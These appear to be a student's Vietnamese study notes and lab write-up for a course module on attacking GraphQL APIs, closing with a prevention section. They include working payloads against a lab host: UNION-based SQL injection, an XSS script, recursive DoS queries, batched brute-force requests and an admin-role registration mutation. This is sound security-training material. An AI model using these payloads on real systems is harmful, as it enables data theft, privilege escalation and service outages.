Module 17: Attacking GraphQL
SECTION 1: Introduction to GraphQL
Giới thiệu GraphQL
- Query language cho web API, thay thế REST
- Cho phép client fetch dữ liệu qua cú pháp đơn giản
- Hỗ trợ: đọc, cập nhật, tạo, xóa dữ liệu
- Điểm khác biệt chính: hoạt động trên một endpoint duy nhất xử lý toàn bộ query → tối ưu tài nguyên
Basic Overview
- Endpoint phổ biến:
/graphql,/api/graphql - Có thể tương tác trực tiếp với endpoint (không qua frontend) → tìm lỗ hổng bảo mật
- Query chọn
fieldscủaobjectstheotypeđịnh nghĩa ở backend
Query cơ bản
graphql
1
2
3
4
5
6
7
{
users {
id
username
role
}
}
Response:
graphql
1
2
3
4
5
6
7
8
{
"data": {
"users": [
{ "id": 1, "username": "htb-stdnt", "role": "user" },
{ "id": 2, "username": "admin", "role": "admin" }
]
}
}
Query với Arguments (filter)
graphql
1
2
3
4
5
6
7
{
users(username: "admin") {
id
username
password
}
}
- Arguments dùng để lọc kết quả
- Fields có thể thêm/bớt tùy ý (ví dụ: đổi
role→password)
Sub-querying (nested objects)
graphql
1
2
3
4
5
6
7
8
9
{
posts {
title
author {
username
role
}
}
}
Response:
graphql
1
2
3
4
5
6
7
8
{
"data": {
"posts": [
{ "title": "Hello World!", "author": { "username": "htb-stdnt", "role": "user" } },
{ "title": "Test", "author": { "username": "test", "role": "user" } }
]
}
}
- Field
authortrả về object user → có thể query nested fields của nóSECTION 2: Information Disclosure
Identifying the GraphQL Engine
- Dùng graphw00f để fingerprint GraphQL engine qua malformed queries và error messages.
1
python3 main.py -d -f -t http://172.17.0.2
Output mẫu:
1
2
3
4
[!] Found GraphQL at http://172.17.0.2/graphql
[*] Discovered GraphQL Engine: (Graphene)
[!] Attack Surface Matrix: https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphene.md
[!] Technologies: Python
- Tra cứu GraphQL-Threat-Matrix để xem attack surface của engine đó.
- Nếu có GraphiQL interface tại
/graphql→ thuận tiện test query trực tiếp, không cần lo JSON syntax qua Burp.
Introspection
- Tính năng built-in cho phép query cấu trúc schema của backend qua
__schema.
Liệt kê tất cả Types
1
2
3
4
5
6
7
{
__schema {
types {
name
}
}
}
Liệt kê Fields của một Type
1
2
3
4
5
6
7
8
9
10
11
12
{
__type(name: "UserObject") {
name
fields {
name
type {
name
kind
}
}
}
}
Ví dụ:
UserObjectlộ fieldsusername,passwordkiểuString / SCALAR.
Liệt kê tất cả Queries được hỗ trợ
1
2
3
4
5
6
7
8
9
10
{
__schema {
queryType {
fields {
name
description
}
}
}
}
Full Introspection Dump
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
- Paste kết quả vào GraphQL Voyager (CHANGE SCHEMA → INTROSPECTION) để visualize schema.
- Trong thực chiến → tự host Voyager, tránh leak dữ liệu nhạy cảm ra ngoài.
Schema mẫu phát hiện được:
| Type | Fields đáng chú ý |
|---|---|
Query | users, posts, user, postByAuthor, post |
UserObject | uuid, id, username, password, role, msg, posts |
PostObject | uuid, id, title, body, category, authorId, author |
Question 1
After executing an introspection query, what is the flag you can exfiltrate? At fist, using graphQL voyager to examine structure of schema, discovered a secret object 
SECTION 3: Insecure Direct Object Reference (IDOR)
- IDOR là lỗ hổng broken authorization phổ biến trong GraphQL, tương tự REST API.
Identifying IDOR
- Enum web app để tìm query truy cập dữ liệu theo input của user.
- Khi xem profile, app gửi query dạng
user(username: "htb-stdnt"). - Thử thay username bằng user khác đã biết (vd:
test) → nếu trả data → thiếu authorization check.
Lưu ý: Escape dấu
"bên trong GraphQL query khi gửi qua JSON.
Exploiting IDOR
Bước 1: Dùng introspection xác định các fields của type UserObject:
1
2
3
4
5
6
7
8
9
10
11
12
{
__type(name: "UserObject") {
name
fields {
name
type {
name
kind
}
}
}
}
→ Phát hiện field password tồn tại trong UserObject.
Bước 2: Khai thác IDOR để lấy password của user khác:
1
2
3
4
5
6
{
user(username: "test") {
username
password
}
}
→ Server trả về password của user test mà không có kiểm tra quyền.
Question 1
After following the steps in the section, what is the flag you can find in the admins password?
Try accessing test user, confirm vulnerability 
SECTION 4: Injection Attacks
SQL Injection
- GraphQL dùng database → SQLi có thể xảy ra nếu arguments không được sanitize.
- Các query cần kiểm tra:
post,user,postByAuthor.
Xác định argument bắt buộc: Gửi query không có argument → đọc error message.
Xác nhận SQLi trên user query:
graphql
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Comment injection → vẫn trả kết quả cũ = dấu hiệu SQLi
{
user(username: "htb-stdnt' --") {
uuid
username
role
}
}
# Single quote → SQL error → xác nhận lỗ hổng
{
user(username: "htb-stdnt'") {
uuid
username
role
}
}
Khai thác UNION-based SQLi:
UserObjectcó 6 fields → UNION payload cần 6 cột.- Field
usernamelà cột thứ 3 → dùng cột 3 để exfiltrate data. - Dùng
GROUP_CONCATđể lấy nhiều row cùng lúc.
graphql
1
2
3
4
5
6
# Liệt kê tất cả table names
{
user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -") {
username
}
}
json
1
2
3
4
5
6
7
{
"data": {
"user": {
"username": "user,secret,post"
}
}
}
Database có thể chứa data không expose qua GraphQL API → nên dump toàn bộ.
Cross-Site Scripting (XSS)
- XSS xảy ra khi GraphQL response được insert vào HTML không có sanitization.
- Cũng kiểm tra error messages có reflect payload không.
XSS qua error message (query post nhận Int nhưng inject string):
graphql
1
2
3
4
5
6
7
8
9
{
post(id: "<script>alert(1)</script>") {
id
title
body
category
author { username }
}
}
→ Response HTTP 400, error message reflect XSS payload không encode → lỗ hổng tiềm năng.
Truy cập
/post?id=<script>alert(1)</script>→ page break, XSS không trigger qua GET parameter.Question 1
Exploit the SQL injection vulnerability to exfiltrate data from the database. What is the flag you find? Trigger error
SECTION 5: Denial-of-Service (DoS) & Batching Attacks
Tùy thuộc vào cấu hình của GraphQL API, các truy vấn được thiết kế đặc biệt có thể tạo ra phản hồi rất lớn, tiêu tốn nhiều tài nguyên xử lý và dẫn đến tình trạng từ chối dịch vụ (DoS).
Denial-of-Service (DoS) Attacks
DoS có thể xảy ra khi tồn tại các mối quan hệ đệ quy trong schema.
Ví dụ:
UserObject.posts→PostObjectPostObject.author→UserObject
Tạo thành vòng lặp:
1
User → Posts → Author → Posts → Author → ...
Kẻ tấn công có thể lặp lại quá trình này nhiều lần khiến kích thước phản hồi tăng theo cấp số nhân.
Ví dụ
Truy vấn tác giả của tất cả bài viết, sau đó lấy các bài viết của từng tác giả và tiếp tục lấy tên tác giả:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
posts {
author {
posts {
edges {
node {
author {
username
}
}
}
}
}
}
}
Do posts là một connection object nên cần sử dụng:
edgesnode
để truy cập từng Post.
Truy vấn lồng nhau sâu
Có thể tiếp tục lặp:
1
2
3
4
5
6
posts
└── author
└── posts
└── author
└── posts
...
Mỗi lần lặp sẽ làm kích thước phản hồi tăng mạnh.
Một truy vấn đủ sâu có thể:
Làm chậm máy chủ.
Tiêu tốn nhiều CPU và RAM.
Gây ảnh hưởng đến người dùng khác.
Thậm chí làm GraphiQL hoặc dịch vụ bị treo.
Ý chính
Các mối quan hệ đệ quy trong schema GraphQL có thể bị lạm dụng để tạo ra các truy vấn có chi phí xử lý rất lớn, dẫn đến DoS.
Batching Attacks
Batching là tính năng cho phép gửi nhiều truy vấn GraphQL trong một yêu cầu HTTP duy nhất.
Ví dụ Request
1
2
3
4
5
6
7
8
9
10
11
12
POST /graphql HTTP/1.1
Host: 172.17.0.2
Content-Type: application/json
[
{
"query":"{user(username: \"admin\") {uuid}}"
},
{
"query":"{post(id: 1) {title}}"
}
]
Response
Phản hồi sẽ giữ nguyên cấu trúc của danh sách truy vấn:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[
{
"data": {
"user": {
"uuid": "3"
}
}
},
{
"data": {
"post": {
"title": "Lorem ipsum 1"
}
}
}
]
Lưu ý
Batching:
Là tính năng được thiết kế sẵn của GraphQL.
Không phải lỗ hổng bảo mật.
Có thể bật hoặc tắt tùy cấu hình.
Tuy nhiên, batching có thể gây ra vấn đề bảo mật nếu được sử dụng trong các chức năng nhạy cảm như đăng nhập.
Kịch bản Brute Force
Giả sử:
Endpoint giới hạn 5 request/giây.
Mỗi request chỉ chứa một truy vấn đăng nhập.
Tốc độ brute-force thông thường:
1
2
5 request/giây × 1 mật khẩu/request
= 5 mật khẩu/giây
Nếu sử dụng batching:
1
2
3
4
5
1 request
├── login(password1)
├── login(password2)
├── ...
└── login(password1000)
Khi đó:
1
2
5 request/giây × 1000 mật khẩu/request
= 5000 mật khẩu/giây
Điều này khiến cơ chế rate limit dựa trên số lượng request gần như mất tác dụng.
Ý chính
Batching không phải là lỗ hổng, nhưng có thể khuếch đại các cuộc tấn công brute-force bằng cách cho phép thực hiện nhiều thao tác trong một request duy nhất, từ đó vượt qua các cơ chế rate limiting thông thường.
SECTION 6: Mutations
Ngoài việc đọc dữ liệu, GraphQL còn hỗ trợ mutations để thay đổi dữ liệu trên máy chủ.
Mutations có thể được sử dụng để:
Tạo đối tượng mới.
Cập nhật đối tượng hiện có.
Xóa đối tượng hiện có.
Mutations là gì?
Để xác định các mutation được hỗ trợ và các tham số của chúng, có thể sử dụng truy vấn introspection sau:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
query {
__schema {
mutationType {
name
fields {
name
args {
name
defaultValue
type {
...TypeRef
}
}
}
}
}
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
Kết quả cho thấy backend hỗ trợ mutation:
1
registerUser
Mutation này yêu cầu một object đầu vào:
1
RegisterUserInput
Xác định các trường của RegisterUserInput
Sử dụng truy vấn:
1
2
3
4
5
6
7
8
9
10
{
__type(name: "RegisterUserInput") {
name
inputFields {
name
description
defaultValue
}
}
}
Kết quả cho thấy có thể cung cấp các trường:
usernamepasswordrolemsg
Băm mật khẩu
Ứng dụng yêu cầu mật khẩu ở dạng MD5.
1
echo -n 'password' | md5sum
Output:
1
5f4dcc3b5aa765d61d8327deb882cf99
Đăng ký người dùng mới
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mutation {
registerUser(
input: {
username: "vautia",
password: "5f4dcc3b5aa765d61d8327deb882cf99",
role: "user",
msg: "newUser"
}
) {
user {
username
password
msg
role
}
}
}
Response trả về các trường được yêu cầu trong phần thân của mutation, cho phép kiểm tra lỗi.
Sau khi tạo thành công, có thể đăng nhập bằng tài khoản mới.
Exploitation with Mutations
Để tìm kiếm vector tấn công thông qua mutations, cần kiểm tra:
Tất cả mutation được hỗ trợ.
Các input tương ứng của từng mutation.
Trong trường hợp này, mutation registerUser cho phép chỉ định trường:
1
role
Điều này có thể dẫn đến leo thang đặc quyền nếu backend không kiểm tra giá trị của trường này.
Các role đã biết
Thông qua việc truy vấn người dùng hiện có, có thể xác định hai role:
useradmin
Tạo tài khoản admin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mutation {
registerUser(
input: {
username: "vautiaAdmin",
password: "5f4dcc3b5aa765d61d8327deb882cf99",
role: "admin",
msg: "Hacked!"
}
) {
user {
username
password
msg
role
}
}
}
Response phản hồi lại:
1
role: admin
Điều này cho thấy việc leo thang đặc quyền đã thành công.
Sau khi đăng nhập bằng tài khoản mới, có thể truy cập:
1
/admin
và sử dụng các chức năng dành riêng cho quản trị viên.
Ý chính
Mutations được sử dụng để thay đổi dữ liệu trên server.
Có thể dùng introspection để xác định các mutation được hỗ trợ và các tham số của chúng.
Việc kiểm tra các input của mutation rất quan trọng trong quá trình pentest.
Nếu backend cho phép người dùng kiểm soát các trường nhạy cảm như
role, có thể dẫn đến Privilege Escalation.
Question 1
What is the flag you find in the admin dashboard? 
SECTION 7: Tools of the Trade
Ngoài các công cụ phục vụ quá trình enumeration như:
graphw00fgraphql-voyager
còn có nhiều công cụ hỗ trợ kiểm tra và tấn công GraphQL API.
GraphQL-Cop
GraphQL-Cop là công cụ kiểm tra bảo mật dành cho GraphQL API.
Sau khi clone repository và cài đặt các dependency cần thiết, có thể kiểm tra phiên bản:
1
python3 graphql-cop.py -v
Output:
1
version: 1.13
Quét GraphQL API
Sử dụng tham số -t để chỉ định endpoint:
1
python3 graphql-cop/graphql-cop.py -t http://172.17.0.2/graphql
Ví dụ kết quả:
1
2
3
4
5
6
7
8
9
[HIGH] Alias Overloading
[HIGH] Array-based Query Batching
[HIGH] Directive Overloading
[HIGH] Field Duplication
[LOW] Field Suggestions
[MEDIUM] GET Method Query Support
[LOW] GraphQL IDE
[HIGH] Introspection
[MEDIUM] POST based url-encoded query
Các vấn đề được phát hiện
| Mức độ | Vấn đề | Tác động |
|---|---|---|
| HIGH | Alias Overloading | DoS |
| HIGH | Array-based Query Batching | DoS |
| HIGH | Directive Overloading | DoS |
| HIGH | Field Duplication | DoS |
| LOW | Field Suggestions | Information Leakage |
| MEDIUM | GET Query Support | CSRF |
| LOW | GraphiQL Explorer Enabled | Information Leakage |
| HIGH | Introspection Enabled | Information Leakage |
| MEDIUM | POST url-encoded Query | CSRF |
Ý chính
GraphQL-Cop thực hiện nhiều kiểm tra cấu hình cơ bản và cung cấp một baseline tốt trước khi tiến hành kiểm thử thủ công.
InQL
InQL là extension của Burp Suite, có thể cài đặt thông qua:
1
BApp Store → InQL
Sau khi cài đặt thành công:
Xuất hiện tab
InQL.Thêm tab GraphQL trong:
Proxy History
Repeater
Điều này cho phép chỉnh sửa GraphQL query trực tiếp mà không cần thao tác với phần JSON bao quanh.
Sinh query tự động
Nhấp chuột phải vào request GraphQL:
1
2
3
Extensions
└── InQL - GraphQL Scanner
└── Generate queries with InQL Scanner
Sau khi quét, InQL thực hiện:
Introspection.
Thu thập schema.
Liệt kê toàn bộ Queries.
Liệt kê toàn bộ Mutations.
Thông tin được hiển thị trong tab InQL của host tương ứng.
Các chức năng nổi bật
Tự động thực hiện introspection.
Sinh query từ schema.
Liệt kê Queries và Mutations.
Hỗ trợ Batch Attack.
Mở trực tiếp trong GraphiQL.
Tích hợp với Burp Proxy và Repeater.
Ý chính
InQL giúp quá trình phân tích GraphQL API trong Burp Suite trở nên thuận tiện hơn bằng cách tự động thu thập schema và sinh các truy vấn cần thiết.
Tổng kết
graphw00f
- Fingerprint GraphQL implementation.
graphql-voyager
- Trực quan hóa schema GraphQL.
GraphQL-Cop
Kiểm tra các cấu hình bảo mật phổ biến.
Phát hiện DoS, Information Leakage, CSRF,…
InQL
Extension của Burp Suite.
Tự động introspection.
Sinh query và mutation.
Hỗ trợ phân tích và tấn công GraphQL API.
SECTION 8: GraphQL Vulnerability Prevention
Sau khi tìm hiểu các lỗ hổng thường gặp trong GraphQL, cần áp dụng các biện pháp phòng chống phù hợp để giảm thiểu rủi ro.
Information Disclosure
Các biện pháp bảo mật chung cần được áp dụng để ngăn chặn rò rỉ thông tin.
Error Messages
Tránh hiển thị lỗi chi tiết (verbose error messages).
Chỉ trả về thông báo lỗi chung chung.
Introspection Queries
Introspection là công cụ mạnh để thu thập thông tin về schema.
Biện pháp phòng chống:
Vô hiệu hóa introspection nếu có thể.
Kiểm tra dữ liệu được tiết lộ thông qua introspection.
Loại bỏ mọi thông tin nhạy cảm khỏi kết quả introspection.
Ý chính
Hạn chế tối đa thông tin mà attacker có thể thu thập từ lỗi và introspection.
Injection Attacks
Để ngăn chặn các loại injection:
SQL Injection
Command Injection
XSS
cần thực hiện kiểm tra đầu vào đầy đủ.
Input Validation
Mọi dữ liệu do người dùng cung cấp cần được coi là không đáng tin cậy cho đến khi được xử lý an toàn.
Ưu tiên:
1
Allowlist > Denylist
Ý chính
Không tin tưởng dữ liệu đầu vào và luôn thực hiện validation/sanitization thích hợp.
Denial-of-Service (DoS)
GraphQL dễ bị tấn công DoS và khuếch đại brute-force thông qua batching.
Các biện pháp giảm thiểu
Giới hạn độ sâu truy vấn
Ví dụ:
1
Query Depth Limit
Giới hạn kích thước truy vấn
Ví dụ:
1
Maximum Query Size
Rate Limiting
Áp dụng rate limit cho endpoint GraphQL nhằm ngăn chặn nhiều request liên tiếp trong thời gian ngắn.
Vô hiệu hóa Batching
Nếu có thể:
1
Disable GraphQL Batching
Nếu batching bắt buộc phải sử dụng:
Giới hạn query depth.
Giới hạn số lượng query trong một request.
Ý chính
Các giới hạn về độ sâu, kích thước truy vấn và tốc độ gửi request là biện pháp quan trọng để chống DoS.
API Design
Cần tuân theo các nguyên tắc bảo mật API thông thường để phòng chống:
IDOR.
Broken Access Control.
Authorization bypass trên mutations.
Principle of Least Privilege
Áp dụng nguyên tắc:
1
Least Privilege
Chỉ cấp quyền tối thiểu cần thiết cho người dùng.
Authentication
Nếu phù hợp với use case:
1
2
3
4
5
GraphQL Endpoint
↓
Authentication
↓
Queries / Mutations
Endpoint GraphQL chỉ nên được truy cập sau khi xác thực thành công.
Authorization
Cần kiểm tra quyền trước khi thực thi:
Query.
Mutation.
Ngăn chặn người dùng thực hiện các thao tác mà họ không được phép.
Ý chính
Authentication và Authorization phải được triển khai đầy đủ để ngăn chặn các lỗi kiểm soát truy cập.
Tổng kết
| Lỗ hổng | Biện pháp phòng chống |
|---|---|
| Information Disclosure | Generic error messages, vô hiệu hóa introspection |
| SQL Injection / Command Injection / XSS | Input validation, sanitization, ưu tiên allowlist |
| DoS | Query depth limit, query size limit, rate limiting |
| Batching-based Brute Force | Vô hiệu hóa batching hoặc giới hạn query depth |
| IDOR / Broken Access Control | Principle of Least Privilege |
| Unauthorized Queries/Mutations | Authentication và Authorization đầy đủ |
Tài liệu tham khảo
OWASP GraphQL Cheat Sheet cung cấp thêm các khuyến nghị bảo mật chi tiết dành cho GraphQL APIs.
SECTION 9: Skills Assessment
Scenario
The tech company Recovera Systems has commissioned an external penetration test of its backend GraphQL API after taking its public website offline for maintenance in response to a recent security incident. Although the user-facing portion of the platform is temporarily disabled, the underlying GraphQL API remains fully active. The client wants to ensure that no vulnerabilities in its schema design, query handling, or data-exposure logic contributed to the breach or could enable future compromise once the site is restored. Try to apply the techniques learned in this module to identify and assess any vulnerabilities before the company re-enables the website.
Question 1
Exploit the vulnerable GraphQL API to obtain the flag. Access the page
Identify graphql engine 
Visualize using graphql voyager 
Navigating through the source code, identify suspicious request, but i didn’t see any signal that indicate the vulnerability.
Test sqli at search customer api. This api need api key of admin to work. So that, we need to archived it in active api keys object. 









